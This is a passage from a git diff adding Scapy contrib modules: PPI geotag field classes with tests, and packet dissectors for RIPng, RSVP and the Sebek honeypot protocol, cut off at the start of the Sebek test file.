+    def h2i(self, pkt, x):
+        if x is not None:
+            if (x <= -180000.00005):
+                warning("Fixed6_4: Input value too negative: %.5f",  x)
+                x = -180000.0
+            elif (x >= 180000.00005):
+                warning("Fixed6_4: Input value too positive: %.5f",  x)
+                x = 180000.0
+            x = int(round((x + 180000.0) * 1e4))
+        return x
+    def i2m(self, pkt, x):
+        """Convert internal value to machine value"""
+        if x is None:
+            #Try to return zero if undefined
+            x = self.h2i(pkt, 0)
+        return x
+    def i2repr(self,pkt,x):
+        if x is None:
+            y=0
+        else:
+            y=self.i2h(pkt,x)
+        return "%6.4f"%(y)
+#The GPS timestamps fractional time counter is stored in a 32-bit unsigned ns counter.
+#The ept field is as well,
+class NSCounter_Field(LEIntField):
+    def i2h(self, pkt, x): #converts nano-seconds to seconds for output
+        if x is not None:
+            if (x < 0):
+                warning("NSCounter_Field: Internal value too negative: %d",  x)
+                x = 0
+            elif (x >= 2**32):
+                warning("NSCounter_Field: Internal value too positive: %d",  x)
+                x = 2**32-1
+            x = (x / 1e9)
+        return x
+    def h2i(self, pkt, x): #converts input in seconds into nano-seconds for storage
+        if x is not None:
+            if (x < 0):
+                warning("NSCounter_Field: Input value too negative: %.10f",  x)
+                x = 0
+            elif (x >= (2**32) / 1e9):
+                warning("NSCounter_Field: Input value too positive: %.10f",  x)
+                x = (2**32-1) / 1e9
+            x = int(round((x * 1e9)))
+        return x
+    def i2repr(self,pkt,x):
+        if x is None:
+            y=0
+        else:
+            y=self.i2h(pkt,x)
+        return "%1.9f"%(y)
+
+class LETimeField(UTCTimeField,LEIntField):
+    __slots__ = ["epoch", "delta", "strf"]
+    def __init__(self, name, default, epoch=None, strf="%a, %d %b %Y %H:%M:%S +0000"):
+        LEIntField.__init__(self, name, default)
+        UTCTimeField.__init__(self, name, default, epoch=epoch, strf=strf)
+
+class SignedByteField(Field):
+    def __init__(self, name, default):
+        Field.__init__(self, name, default, "b")
+    def randval(self):
+        return RandSByte()
+
+class XLEShortField(LEShortField,XShortField):
+    def i2repr(self, pkt, x):
+        return XShortField.i2repr(self, pkt, x)
+
+class XLEIntField(LEIntField,XIntField):
+    def i2repr(self, pkt, x):
+        return XIntField.i2repr(self, pkt, x)
+
+class GPSTime_Field(LETimeField):
+    def __init__(self, name, default):
+        return LETimeField.__init__(self, name, default, strf="%a, %d %b %Y %H:%M:%S UTC")
+
+class VectorFlags_Field(XLEIntField):
+    """Represents te VectorFlags field. Handles the RelativeTo:sub-field"""
+    _fwdstr   = "DefinesForward"
+    _resmask  = 0xfffffff8
+    _relmask  = 0x6
+    _relnames = ["RelativeToForward", "RelativeToEarth", "RelativeToCurrent", "RelativeToReserved"]
+    _relvals  = [0x00, 0x02, 0x04, 0x06]
+    def i2repr(self, pkt, x):
+        if x is None:
+            return str(x)
+        r = []
+        if (x & 0x1):
+            r.append(self._fwdstr)
+        i = (x & self._relmask) >> 1
+        r.append(self._relnames[i])
+        i = x & self._resmask
+        if (i):
+            r.append("ReservedBits:%08X" % i)
+        sout = "+".join(r)
+        return sout
+    def any2i(self, pkt, x):
+        if isinstance(x, str):
+            r = x.split("+")
+            y = 0
+            for value in r:
+                if (value == self._fwdstr):
+                    y |= 0x1
+                elif (value in self._relnames):
+                    i = self._relnames.index(value)
+                    y &= (~self._relmask)
+                    y |= self._relvals[i]
+                else:
+                    #logging.warning("Unknown VectorFlags Argument: %s",  value)
+                    pass
+        else:
+            y = x
+        #print "any2i: %s --> %s" % (str(x), str(y))
+        return y
+
+class HCSIFlagsField(FlagsField):
+    """ A FlagsField where each bit/flag turns a conditional field on or off.
+    If the value is None when building a packet, i2m() will check the value of
+    every field in self.names.  If the field's value is not None, the corresponding
+    flag will be set. """
+    def i2m(self, pkt, val):
+        if val is None:
+            val = 0
+            if (pkt):
+                for i, name in enumerate(self.names):
+                    value = pkt.getfieldval(name)
+                    if value is not None:
+                        val |= 1 << i
+        return val
+
+class HCSINullField(StrFixedLenField):
+    def __init__(self, name, default):
+        return StrFixedLenField.__init__(self, name, default, length=0)
+
+class HCSIDescField(StrFixedLenField):
+    def __init__(self, name, default):
+        return StrFixedLenField.__init__(self, name, default, length=32)
+
+class HCSIAppField(StrFixedLenField):
+    def __init__(self, name, default):
+        return StrFixedLenField.__init__(self, name, default, length=60)
+
+def _FlagsList(myfields):
+    flags = ["Reserved%02d" % i for i in range(32)]
+    for i, value in six.iteritems(myfields):
+        flags[i] = value
+    return flags
+
+# Define all geolocation-tag flags lists
+_hcsi_gps_flags = _FlagsList({0:"No Fix Available", 1:"GPS", 2:"Differential GPS",
+                              3:"Pulse Per Second", 4:"Real Time Kinematic",
+                              5:"Float Real Time Kinematic", 6:"Estimated (Dead Reckoning)",
+                              7:"Manual Input", 8:"Simulation"})
+
+#_hcsi_vector_flags = _FlagsList({0:"ForwardFrame", 1:"RotationsAbsoluteXYZ", 5:"OffsetFromGPS_XYZ"})
+#This has been replaced with the VectorFlags_Field class, in order to handle the RelativeTo:subfield
+
+_hcsi_vector_char_flags = _FlagsList({0:"Antenna", 1:"Direction of Travel",
+                                      2:"Front of Vehicle", 3:"Angle of Arrival", 4:"Transmitter Position",
+                                      8:"GPS Derived", 9:"INS Derived", 10:"Compass Derived",
+                                     11:"Acclerometer Derived", 12:"Human Derived"})
+
+_hcsi_antenna_flags = _FlagsList({ 1:"Horizontal Polarization",     2:"Vertical Polarization",
+                                   3:"Circular Polarization Left",  4:"Circular Polarization Right",
+                                  16:"Electronically Steerable",   17:"Mechanically Steerable"})
+
+""" HCSI PPI Fields are similar to RadioTap.  A mask field called "present" specifies if each field
+is present.  All other fields are conditional.  When dissecting a packet, each field is present if
+"present" has the corresponding bit set.  When building a packet, if "present" is None, the mask is
+set to include every field that does not have a value of None.  Otherwise, if the mask field is
+not None, only the fields specified by "present" will be added to the packet.
+
+To build each Packet type, build a list of the fields normally, excluding the present bitmask field.
+The code will then construct conditional versions of each field and add the present field.
+See GPS_Fields as an example. """
+
+# Conditional test for all HCSI Fields
+def _HCSITest(pkt, ibit, name):
+    if pkt.present is None:
+        return (pkt.getfieldval(name) is not None)
+    return pkt.present & ibit
+
+# Wrap optional fields in ConditionalField, add HCSIFlagsField
+def _HCSIBuildFields(fields):
+    names = [f.name for f in fields]
+    cond_fields = [HCSIFlagsField('present', None, -len(names), names)]
+    for i, name in enumerate(names):
+        ibit = 1 << i
+        seval = "lambda pkt:_HCSITest(pkt,%s,'%s')" % (ibit, name)
+        test = eval(seval)
+        cond_fields.append(ConditionalField(fields[i], test))
+    return cond_fields
+
+class HCSIPacket(Packet):
+    name = "PPI HCSI"
+    fields_desc = [ LEShortField('pfh_type', None),
+                    LEShortField('pfh_length', None),
+                    ByteField('geotag_ver', CURR_GEOTAG_VER),
+                    ByteField('geotag_pad', 0),
+                    LEShortField('geotag_len', None)]
+    def post_build(self, p, pay):
+        if self.pfh_length is None:
+            l = len(p) - 4
+            sl = struct.pack('<H',l)
+            p = p[:2] + sl + p[4:]
+        if self.geotag_len is None:
+            l_g = len(p) - 4
+            sl_g = struct.pack('<H',l_g)
+            p = p[:6] + sl_g + p[8:]
+        p += pay
+        return p
+    def extract_padding(self, p):
+        return b"", p
+
+#GPS Fields
+GPS_Fields = [FlagsField("GPSFlags", None, -32, _hcsi_gps_flags),
+              Fixed3_7Field("Latitude", None),
+              Fixed3_7Field("Longitude", None),    Fixed6_4Field("Altitude", None),
+              Fixed6_4Field("Altitude_g", None),   GPSTime_Field("GPSTime", None),
+              NSCounter_Field("FractionalTime", None),  Fixed3_6Field("eph", None),
+              Fixed3_6Field("epv", None),          NSCounter_Field("ept", None),
+              HCSINullField("Reserved10", None),   HCSINullField("Reserved11", None),
+              HCSINullField("Reserved12", None),   HCSINullField("Reserved13", None),
+              HCSINullField("Reserved14", None),   HCSINullField("Reserved15", None),
+              HCSINullField("Reserved16", None),   HCSINullField("Reserved17", None),
+              HCSINullField("Reserved18", None),   HCSINullField("Reserved19", None),
+              HCSINullField("Reserved20", None),   HCSINullField("Reserved21", None),
+              HCSINullField("Reserved22", None),   HCSINullField("Reserved23", None),
+              HCSINullField("Reserved24", None),   HCSINullField("Reserved25", None),
+              HCSINullField("Reserved26", None),   HCSINullField("Reserved27", None),
+              HCSIDescField("DescString", None),   XLEIntField("AppId", None),
+              HCSIAppField("AppData", None),       HCSINullField("Extended", None)]
+
+class GPS(HCSIPacket):
+    name = "PPI GPS"
+    fields_desc = [ LEShortField('pfh_type', PPI_GPS), #pfh_type
+                    LEShortField('pfh_length', None), #pfh_len
+                    ByteField('geotag_ver', CURR_GEOTAG_VER), #base_geotag_header.ver
+                    ByteField('geotag_pad', 0), #base_geotag_header.pad
+                    LEShortField('geotag_len', None)] + _HCSIBuildFields(GPS_Fields)
+
+
+#Vector Fields
+VEC_Fields = [VectorFlags_Field("VectorFlags", None),
+              FlagsField("VectorChars", None, -32, _hcsi_vector_char_flags),
+              Fixed3_6Field("Pitch", None),       Fixed3_6Field("Roll", None),
+              Fixed3_6Field("Heading", None),     Fixed6_4Field("Off_X", None),
+              Fixed6_4Field("Off_Y", None),       Fixed6_4Field("Off_Z", None),
+              HCSINullField("Reserved08", None),  HCSINullField("Reserved09", None),
+              HCSINullField("Reserved10", None),  HCSINullField("Reserved11", None),
+              HCSINullField("Reserved12", None),  HCSINullField("Reserved13", None),
+              HCSINullField("Reserved14", None),  HCSINullField("Reserved15", None),
+              Fixed3_6Field("Err_Rot", None),     Fixed6_4Field("Err_Off", None),
+              HCSINullField("Reserved18", None),  HCSINullField("Reserved19", None),
+              HCSINullField("Reserved20", None),  HCSINullField("Reserved21", None),
+              HCSINullField("Reserved22", None),  HCSINullField("Reserved23", None),
+              HCSINullField("Reserved24", None),  HCSINullField("Reserved25", None),
+              HCSINullField("Reserved26", None),  HCSINullField("Reserved27", None),
+              HCSIDescField("DescString", None),  XLEIntField("AppId", None),
+              HCSIAppField("AppData", None),      HCSINullField("Extended", None)]
+
+class Vector(HCSIPacket):
+    name = "PPI Vector"
+    fields_desc = [ LEShortField('pfh_type', PPI_VECTOR), #pfh_type
+                    LEShortField('pfh_length', None), #pfh_len
+                    ByteField('geotag_ver', CURR_GEOTAG_VER), #base_geotag_header.ver
+                    ByteField('geotag_pad', 0), #base_geotag_header.pad
+                    LEShortField('geotag_len', None)] + _HCSIBuildFields(VEC_Fields)
+
+#Sensor Fields
+# http://www.iana.org/assignments/icmp-parameters
+sensor_types= { 1   : "Velocity",
+                2   : "Acceleration",
+                3   : "Jerk",
+                100 : "Rotation",
+                101 : "Magnetic",
+                1000: "Temperature",
+                1001: "Barometer",
+                1002: "Humidity",
+                2000: "TDOA_Clock",
+                2001: "Phase"
+                }
+SENS_Fields = [  LEShortEnumField('SensorType', None, sensor_types),
+                 SignedByteField('ScaleFactor', None),
+                 Fixed6_4Field('Val_X', None),
+                 Fixed6_4Field('Val_Y', None),
+                 Fixed6_4Field('Val_Z', None),
+                 Fixed6_4Field('Val_T', None),
+                 Fixed6_4Field('Val_E', None),
+              HCSINullField("Reserved07", None),  HCSINullField("Reserved08", None),
+              HCSINullField("Reserved09", None),  HCSINullField("Reserved10", None),
+              HCSINullField("Reserved11", None),  HCSINullField("Reserved12", None),
+              HCSINullField("Reserved13", None),  HCSINullField("Reserved14", None),
+              HCSINullField("Reserved15", None),  HCSINullField("Reserved16", None),
+              HCSINullField("Reserved17", None),  HCSINullField("Reserved18", None),
+              HCSINullField("Reserved19", None),  HCSINullField("Reserved20", None),
+              HCSINullField("Reserved21", None),  HCSINullField("Reserved22", None),
+              HCSINullField("Reserved23", None),  HCSINullField("Reserved24", None),
+              HCSINullField("Reserved25", None),  HCSINullField("Reserved26", None),
+              HCSINullField("Reserved27", None),
+              HCSIDescField("DescString", None),  XLEIntField("AppId", None),
+              HCSIAppField("AppData", None),      HCSINullField("Extended", None)]
+
+              
+
+class Sensor(HCSIPacket):
+    name = "PPI Sensor"
+    fields_desc = [ LEShortField('pfh_type', PPI_SENSOR), #pfh_type
+                    LEShortField('pfh_length', None), #pfh_len
+                    ByteField('geotag_ver', CURR_GEOTAG_VER ), #base_geotag_header.ver
+                    ByteField('geotag_pad', 0), #base_geotag_header.pad
+                    LEShortField('geotag_len', None)] + _HCSIBuildFields(SENS_Fields)
+
+# HCSIAntenna Fields
+ANT_Fields = [FlagsField("AntennaFlags", None, -32, _hcsi_antenna_flags),
+              ByteField("Gain", None),
+              Fixed3_6Field("HorizBw", None),              Fixed3_6Field("VertBw", None),
+              Fixed3_6Field("PrecisionGain",None),         XLEShortField("BeamID", None),
+              HCSINullField("Reserved06", None),           HCSINullField("Reserved07", None),
+              HCSINullField("Reserved08", None),           HCSINullField("Reserved09", None),
+              HCSINullField("Reserved10", None),           HCSINullField("Reserved11", None),
+              HCSINullField("Reserved12", None),           HCSINullField("Reserved13", None),
+              HCSINullField("Reserved14", None),           HCSINullField("Reserved15", None),
+              HCSINullField("Reserved16", None),           HCSINullField("Reserved17", None),
+              HCSINullField("Reserved18", None),           HCSINullField("Reserved19", None),
+              HCSINullField("Reserved20", None),           HCSINullField("Reserved21", None),
+              HCSINullField("Reserved22", None),           HCSINullField("Reserved23", None),
+              HCSINullField("Reserved24", None),           HCSINullField("Reserved25", None),
+              HCSIDescField("SerialNumber", None),         HCSIDescField("ModelName", None),
+              HCSIDescField("DescString", None),           XLEIntField("AppId", None),
+              HCSIAppField("AppData", None),               HCSINullField("Extended", None)]
+
+class Antenna(HCSIPacket):
+    name = "PPI Antenna"
+    fields_desc = [ LEShortField('pfh_type', PPI_ANTENNA), #pfh_type
+                    LEShortField('pfh_length', None), #pfh_len
+                    ByteField('geotag_ver', CURR_GEOTAG_VER), #base_geotag_header.ver
+                    ByteField('geotag_pad', 0), #base_geotag_header.pad
+                    LEShortField('geotag_len', None)] + _HCSIBuildFields(ANT_Fields)
+
+addPPIType(PPI_GPS, GPS)
+addPPIType(PPI_VECTOR, Vector)
+addPPIType(PPI_SENSOR, Sensor)
+addPPIType(PPI_ANTENNA,Antenna)
diff --git a/scapy/contrib/ppi_geotag.uts b/scapy/contrib/ppi_geotag.uts
new file mode 100644
index 0000000..795e856
--- /dev/null
+++ b/scapy/contrib/ppi_geotag.uts
@@ -0,0 +1,62 @@
+# PPI_Geotag tests
+
+############
+############
++ PPI Geotags tests
+
+= Import PPI Geotag
+
+from scapy.contrib.ppi_geotag import *
+
+= Test GPS dissection
+
+assert raw(GPS()) == b'2u\x08\x00\x02\x00\x08\x00\x00\x00\x00\x00'
+
+= Test Vector dissection
+
+assert raw(Vector()) == b'3u\x08\x00\x02\x00\x08\x00\x00\x00\x00\x00'
+
+= Test Sensor dissection
+
+assert raw(Sensor()) == b'4u\x08\x00\x02\x00\x08\x00\x00\x00\x00\x00'
+
+= Test Antenna dissection
+
+assert raw(Antenna()) == b'5u\x08\x00\x02\x00\x08\x00\x00\x00\x00\x00'
+
+= Test GPSTime_Field time handling
+
+assert GPSTime_Field("GPSTime", None).delta == 0.0
+
+= Define local_to_utc
+
+def local_to_utc(local_time):
+    # BUG workaroung: on Python 2, summer time is ignored while converting time to UTC.
+    # This function converts it properly. That was fixed on Python 3
+    if six.PY3:
+        return local_time
+    utc_time_clock = time.gmtime(time.mktime(local_time))
+    utc_time_clock = list(utc_time_clock.__reduce__()[1][0])
+    if local_time.tm_isdst:
+        utc_time_clock[3] = (utc_time_clock[3]+1)%24
+    return time.struct_time(tuple(utc_time_clock))
+
+= Test UTCTimeField with time values
+
+local_time = time.localtime()
+utc_time = UTCTimeField("Test", None, epoch=local_time)
+assert time.localtime(utc_time.epoch) == local_time
+assert time.mktime(time.gmtime(utc_time.delta)) == time.mktime(local_time)
+strft_time = time.strftime("%a, %d %b %Y %H:%M:%S +0000", local_to_utc(local_time))
+
+assert utc_time.i2repr(None, None) == (strft_time + " (" + str(int(utc_time.delta)) + ")")
+
+= Test LETimeField with time values
+
+local_time = time.localtime()
+lme_time = LETimeField("Test", None, epoch=local_time)
+assert time.localtime(lme_time.epoch) == local_time
+assert time.mktime(time.gmtime(lme_time.delta)) == time.mktime(local_time)
+strft_time = time.strftime("%a, %d %b %Y %H:%M:%S +0000", local_to_utc(local_time))
+
+assert lme_time.i2repr(None, None) == (strft_time + " (" + str(int(lme_time.delta)) + ")")
diff --git a/scapy/contrib/ripng.py b/scapy/contrib/ripng.py
new file mode 100644
index 0000000..97ae49f
--- /dev/null
+++ b/scapy/contrib/ripng.py
@@ -0,0 +1,53 @@
+#!/usr/bin/env python
+
+# This file is part of Scapy
+# Scapy is free software: you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation, either version 2 of the License, or
+# any later version.
+#
+# Scapy is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with Scapy. If not, see <http://www.gnu.org/licenses/>.
+
+# scapy.contrib.description = RIPng
+# scapy.contrib.status = loads
+
+from scapy.packet import *
+from scapy.fields import *
+from scapy.layers.inet import UDP
+from scapy.layers.inet6 import *
+
+class RIPng(Packet):
+    name = "RIPng header"
+    fields_desc = [
+                    ByteEnumField("cmd", 1, {1 : "req", 2 : "resp"}),
+                    ByteField("ver", 1),
+                    ShortField("null", 0),
+            ]
+
+class RIPngEntry(Packet):
+    name = "RIPng entry"
+    fields_desc = [
+                    ConditionalField(IP6Field("prefix", "::"),
+                                            lambda pkt: pkt.metric != 255),
+                    ConditionalField(IP6Field("nexthop", "::"),
+                                            lambda pkt: pkt.metric == 255),
+                    ShortField("routetag", 0),
+                    ByteField("prefixlen", 0),
+                    ByteEnumField("metric", 1, {16 : "Unreach",
+                                                255 : "next-hop entry"})
+            ]
+
+bind_layers(UDP,        RIPng,          sport=521, dport=521)
+bind_layers(RIPng,      RIPngEntry)
+bind_layers(RIPngEntry, RIPngEntry)
+
+if __name__ == "__main__":
+    from scapy.main import interact
+    interact(mydict=globals(), mybanner="RIPng")
+
diff --git a/scapy/contrib/rsvp.py b/scapy/contrib/rsvp.py
new file mode 100644
index 0000000..3908546
--- /dev/null
+++ b/scapy/contrib/rsvp.py
@@ -0,0 +1,200 @@
+## RSVP layer
+
+# This file is part of Scapy
+# Scapy is free software: you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation, either version 2 of the License, or
+# any later version.
+#
+# Scapy is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with Scapy. If not, see <http://www.gnu.org/licenses/>.
+
+# scapy.contrib.description = RSVP
+# scapy.contrib.status = loads
+
+from scapy.packet import *
+from scapy.fields import *
+from scapy.layers.inet import IP
+
+rsvpmsgtypes = { 0x01 : "Path",
+                 0x02 : "Reservation request",
+                 0x03 : "Path error",
+                 0x04 : "Reservation request error",
+                 0x05 : "Path teardown",
+                 0x06 : "Reservation teardown",
+                 0x07 : "Reservation request acknowledgment"
+}
+        
+class RSVP(Packet):
+    name = "RSVP"
+    fields_desc = [ BitField("Version",1,4),
+                    BitField("Flags",1,4),
+                    ByteEnumField("Class",0x01, rsvpmsgtypes),
+                    XShortField("chksum", None),
+                    ByteField("TTL",1),
+                    XByteField("dataofs", 0),
+                    ShortField("Length",None)]
+    def post_build(self, p, pay):
+        p += pay
+        if self.Length is None:
+            l = len(p)
+            p = p[:6]+chr((l>>8)&0xff)+chr(l&0xff)+p[8:]
+        if self.chksum is None:
+            ck = checksum(p)
+            p = p[:2]+chr(ck>>8)+chr(ck&0xff)+p[4:]
+        return p
+                    
+rsvptypes = { 0x01 : "Session",
+              0x03 : "HOP",
+              0x04 : "INTEGRITY",
+              0x05 : "TIME_VALUES",
+              0x06 : "ERROR_SPEC",
+              0x07 : "SCOPE",
+              0x08 :  "STYLE",
+              0x09 :  "FLOWSPEC",
+              0x0A :  "FILTER_SPEC",
+              0x0B :  "SENDER_TEMPLATE",
+              0x0C  : "SENDER_TSPEC",
+              0x0D   : "ADSPEC",
+              0x0E   : "POLICY_DATA",
+              0x0F   : "RESV_CONFIRM",
+              0x10   : "RSVP_LABEL",
+              0x11   : "HOP_COUNT",        
+              0x12   : "STRICT_SOURCE_ROUTE",
+              0x13   : "LABEL_REQUEST",
+              0x14   : "EXPLICIT_ROUTE",
+              0x15   : "ROUTE_RECORD",
+              0x16   : "HELLO",
+              0x17   : "MESSAGE_ID",
+              0x18   : "MESSAGE_ID_ACK",
+              0x19   : "MESSAGE_ID_LIST",
+              0x1E   : "DIAGNOSTIC",
+              0x1F   : "ROUTE",
+              0x20   : "DIAG_RESPONSE",
+              0x21   : "DIAG_SELECT",
+              0x22   : "RECOVERY_LABEL",
+              0x23   : "UPSTREAM_LABEL",
+              0x24   : "LABEL_SET",
+              0x25   : "PROTECTION",
+              0x26   : "PRIMARY PATH ROUTE",
+              0x2A   : "DSBM IP ADDRESS",
+              0x2B   : "SBM_PRIORITY",
+              0x2C   : "DSBM TIMER INTERVALS",
+              0x2D   : "SBM_INFO",
+              0x32   : "S2L_SUB_LSP",
+              0x3F   : "DETOUR",
+              0x40   : "CHALLENGE",
+              0x41   : "DIFF-SERV",
+              0x42   : "CLASSTYPE",
+              0x43   : "LSP_REQUIRED_ATTRIBUTES",
+              0x80  : "NODE_CHAR",
+              0x81  : "SUGGESTED_LABEL",
+              0x82  : "ACCEPTABLE_LABEL_SET",
+              0x83  : "RESTART_CA",
+              0x84  : "SESSION-OF-INTEREST",
+              0x85  : "LINK_CAPABILITY",
+              0x86  : "Capability Object", 
+              0xA1  : "RSVP_HOP_L2",
+              0xA2  : "LAN_NHOP_L2",    
+              0xA3  : "LAN_NHOP_L3",    
+              0xA4  : "LAN_LOOPBACK",    
+              0xA5  : "TCLASS",
+              0xC0  : "TUNNEL", 
+              0xC1  : "LSP_TUNNEL_INTERFACE_ID",
+              0xC2  : "USER_ERROR_SPEC",
+              0xC3  : "NOTIFY_REQUEST",
+              0xC4  : "ADMIN-STATUS",
+              0xC5  : "LSP_ATTRIBUTES",
+              0xC6  : "ALARM_SPEC",
+              0xC7  : "ASSOCIATION",
+              0xC8  : "SECONDARY_EXPLICIT_ROUTE",
+              0xC9  : "SECONDARY_RECORD_ROUTE",                
+              0xCD  : "FAST_REROUTE",
+              0xCF  : "SESSION_ATTRIBUTE",
+              0xE1  : "DCLASS",
+              0xE2  : "PACKETCABLE EXTENSIONS",
+              0xE3  : "ATM_SERVICECLASS",
+              0xE4  : "CALL_OPS (ASON)",
+              0xE5  : "GENERALIZED_UNI",
+              0xE6  : "CALL_ID",
+              0xE7  : "3GPP2_Object",
+              0xE8  : "EXCLUDE_ROUTE"
+}      
+
+class RSVP_Object(Packet):
+    name = "RSVP_Object"
+    fields_desc = [ ShortField("Length",4),
+                  ByteEnumField("Class",0x01, rsvptypes),
+                  ByteField("C-Type",1)]
+    def guess_payload_class(self, payload):
+        if self.Class == 0x03:
+            return RSVP_HOP
+        elif self.Class == 0x05:
+            return RSVP_Time
+        elif self.Class == 0x0c:
+            return RSVP_SenderTSPEC
+        elif self.Class == 0x13:
+            return RSVP_LabelReq
+        elif self.Class == 0xCF:
+            return RSVP_SessionAttrb
+        else:
+            return RSVP_Data
+    
+    
+
+class RSVP_Data(Packet):
+    name = "Data"
+    fields_desc = [StrLenField("Data","",length_from= lambda pkt:pkt.underlayer.Length - 4)]
+    def default_payload_class(self, payload):
+      return RSVP_Object
+
+class RSVP_HOP(Packet):
+    name = "HOP"
+    fields_desc = [ IPField("neighbor","0.0.0.0"),
+                  BitField("inface",1,32)]
+    def default_payload_class(self, payload):
+      return RSVP_Object
+
+class RSVP_Time(Packet):
+    name = "Time Val"
+    fields_desc = [ BitField("refresh",1,32)]
+    def default_payload_class(self, payload):
+      return RSVP_Object
+
+class RSVP_SenderTSPEC(Packet):
+    name = "Sender_TSPEC"
+    fields_desc = [ ByteField("Msg_Format",0),
+                    ByteField("reserve",0),
+                    ShortField("Data_Length",4),
+                    ByteField("Srv_hdr",1),
+                    ByteField("reserve2",0),
+                    ShortField("Srv_Length",4),
+                    StrLenField("Tokens","",length_from= lambda pkt:pkt.underlayer.Length - 12) ]
+    def default_payload_class(self, payload):
+      return RSVP_Object
+
+class RSVP_LabelReq(Packet):
+    name = "Lable Req"
+    fields_desc = [  ShortField("reserve",1),
+                     ShortField("L3PID",1)]
+    def default_payload_class(self, payload):
+      return RSVP_Object
+
+class RSVP_SessionAttrb(Packet):
+    name = "Session_Attribute"
+    fields_desc = [  ByteField("Setup_priority",1),
+                     ByteField("Hold_priority",1),
+                     ByteField("flags",1),
+                     ByteField("Name_length",1),
+                     StrLenField("Name","",length_from= lambda pkt:pkt.underlayer.Length - 8),
+                     ]  
+    def default_payload_class(self, payload):
+      return RSVP_Object
+
+bind_layers( IP,     RSVP,     { "proto" : 46} )
+bind_layers( RSVP, RSVP_Object, {})
diff --git a/scapy/contrib/sebek.py b/scapy/contrib/sebek.py
new file mode 100644
index 0000000..73cbcdd
--- /dev/null
+++ b/scapy/contrib/sebek.py
@@ -0,0 +1,112 @@
+## This file is part of Scapy
+## See http://www.secdev.org/projects/scapy for more informations
+## Copyright (C) Philippe Biondi <phil@secdev.org>
+## This program is published under a GPLv2 license
+
+"""
+Sebek: kernel module for data collection on honeypots.
+"""
+
+# scapy.contrib.description = Sebek
+# scapy.contrib.status = loads
+
+from scapy.fields import *
+from scapy.packet import *
+from scapy.layers.inet import UDP
+
+
+### SEBEK
+
+
+class SebekHead(Packet):
+    name = "Sebek header"
+    fields_desc = [ XIntField("magic", 0xd0d0d0),
+                    ShortField("version", 1),
+                    ShortEnumField("type", 0, {"read":0, "write":1,
+                                             "socket":2, "open":3}),
+                    IntField("counter", 0),
+                    IntField("time_sec", 0),
+                    IntField("time_usec", 0) ]
+    def mysummary(self):
+        return self.sprintf("Sebek Header v%SebekHead.version% %SebekHead.type%")
+
+# we need this because Sebek headers differ between v1 and v3, and
+# between v3 type socket and v3 others
+
+class SebekV1(Packet):
+    name = "Sebek v1"
+    fields_desc = [ IntField("pid", 0),
+                    IntField("uid", 0),
+                    IntField("fd", 0),
+                    StrFixedLenField("cmd", "", 12),
+                    FieldLenField("data_length", None, "data",fmt="I"),
+                    StrLenField("data", "", length_from=lambda x:x.data_length) ]
+    def mysummary(self):
+        if isinstance(self.underlayer, SebekHead):
+            return self.underlayer.sprintf("Sebek v1 %SebekHead.type% (%SebekV1.cmd%)")
+        else:
+            return self.sprintf("Sebek v1 (%SebekV1.cmd%)")
+
+class SebekV3(Packet):
+    name = "Sebek v3"
+    fields_desc = [ IntField("parent_pid", 0),
+                    IntField("pid", 0),
+                    IntField("uid", 0),
+                    IntField("fd", 0),
+                    IntField("inode", 0),
+                    StrFixedLenField("cmd", "", 12),
+                    FieldLenField("data_length", None, "data",fmt="I"),
+                    StrLenField("data", "", length_from=lambda x:x.data_length) ]
+    def mysummary(self):
+        if isinstance(self.underlayer, SebekHead):
+            return self.underlayer.sprintf("Sebek v%SebekHead.version% %SebekHead.type% (%SebekV3.cmd%)")
+        else:
+            return self.sprintf("Sebek v3 (%SebekV3.cmd%)")
+
+class SebekV2(SebekV3):
+    def mysummary(self):
+        if isinstance(self.underlayer, SebekHead):
+            return self.underlayer.sprintf("Sebek v%SebekHead.version% %SebekHead.type% (%SebekV2.cmd%)")
+        else:
+            return self.sprintf("Sebek v2 (%SebekV2.cmd%)")
+
+class SebekV3Sock(Packet):
+    name = "Sebek v2 socket"
+    fields_desc = [ IntField("parent_pid", 0),
+                    IntField("pid", 0),
+                    IntField("uid", 0),
+                    IntField("fd", 0),
+                    IntField("inode", 0),
+                    StrFixedLenField("cmd", "", 12),
+                    IntField("data_length", 15),
+                    IPField("dip", "127.0.0.1"),
+                    ShortField("dport", 0),
+                    IPField("sip", "127.0.0.1"),
+                    ShortField("sport", 0),
+                    ShortEnumField("call", 0, { "bind":2,
+                                                "connect":3, "listen":4,
+                                               "accept":5, "sendmsg":16,
+                                               "recvmsg":17, "sendto":11,
+                                               "recvfrom":12}),
+                    ByteEnumField("proto", 0, IP_PROTOS) ]
+    def mysummary(self):
+        if isinstance(self.underlayer, SebekHead):
+            return self.underlayer.sprintf("Sebek v%SebekHead.version% %SebekHead.type% (%SebekV3Sock.cmd%)")
+        else:
+            return self.sprintf("Sebek v3 socket (%SebekV3Sock.cmd%)")
+
+class SebekV2Sock(SebekV3Sock):
+    def mysummary(self):
+        if isinstance(self.underlayer, SebekHead):
+            return self.underlayer.sprintf("Sebek v%SebekHead.version% %SebekHead.type% (%SebekV2Sock.cmd%)")
+        else:
+            return self.sprintf("Sebek v2 socket (%SebekV2Sock.cmd%)")
+
+bind_layers( UDP,           SebekHead,     sport=1101)
+bind_layers( UDP,           SebekHead,     dport=1101)
+bind_layers( UDP,           SebekHead,     dport=1101, sport=1101)
+bind_layers( SebekHead,     SebekV1,       version=1)
+bind_layers( SebekHead,     SebekV2Sock,   version=2, type=2)
+bind_layers( SebekHead,     SebekV2,       version=2)
+bind_layers( SebekHead,     SebekV3Sock,   version=3, type=2)
+bind_layers( SebekHead,     SebekV3,       version=3)
diff --git a/scapy/contrib/sebek.uts b/scapy/contrib/sebek.uts
new file mode 100644
index 0000000..23b5a97
--- /dev/null
+++ b/scapy/contrib/sebek.uts
@@ -0,0 +1,46 @@
+# Sebek layer unit tests
+#
+# Type the following command to launch start the tests:
+# $ test/run_tests -P "load_contrib('sebek')" -t scapy/contrib/sebek.uts
+
++ Sebek protocol
+
+= Layer binding 1
